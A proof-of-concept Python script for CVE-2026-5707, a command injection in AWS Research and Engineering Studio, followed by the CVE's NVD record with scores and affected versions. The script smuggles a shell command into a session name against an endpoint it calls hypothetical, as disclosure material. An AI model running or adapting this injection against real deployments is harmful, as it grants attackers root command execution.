CVE-2026-5707

#!/usr/bin/env python3 """ PoC for CVE-2026-5707: AWS RES OS Command Injection. This script demonstrates exploiting the vulnerability via a crafted session name. """ import requests def exploit(target_url, auth_token): headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload to create a file as proof of execution # The semicolon closes the original command and starts a new one malicious_session_name = "valid_name; touch /tmp/pwned; #" payload = { "session_name": malicious_session_name, "configuration_id": "default" } try: # Endpoint responsible for session creation (hypothetical based on description) response = requests.post(f"{target_url}/api/sessions", json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Request sent successfully. Check /tmp/pwned on the host.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and token TARGET = "https://res-instance.example.com" TOKEN = "<YOUR_AUTH_TOKEN>" exploit(TARGET, TOKEN)

{"cve": {"id": "CVE-2026-5707", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-04-06T22:16:25.263", "lastModified": "2026-04-10T20:16:05.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unsanitized input in an OS command in the virtual desktop session name handling in AWS Research and Engineering Studio (RES) version 2025.03 through 2025.12.01 might allow a remote authenticated actor to execute arbitrary commands as root on the virtual desktop host via a crafted session name.\n\nTo remediate this issue, users are advised to upgrade to RES version 2026.03 or apply the corresponding mitigation patch to their existing environment."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:amazon:research_and_engineering_studio:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.03", "matchCriteriaId": "37A2F72E-0B0A-4D66-94DA-E0D9D336E9E1"}]}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-014-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/aws/res/issues/151", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/aws/res/releases/tag/2026.03", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Release Notes"]}]}}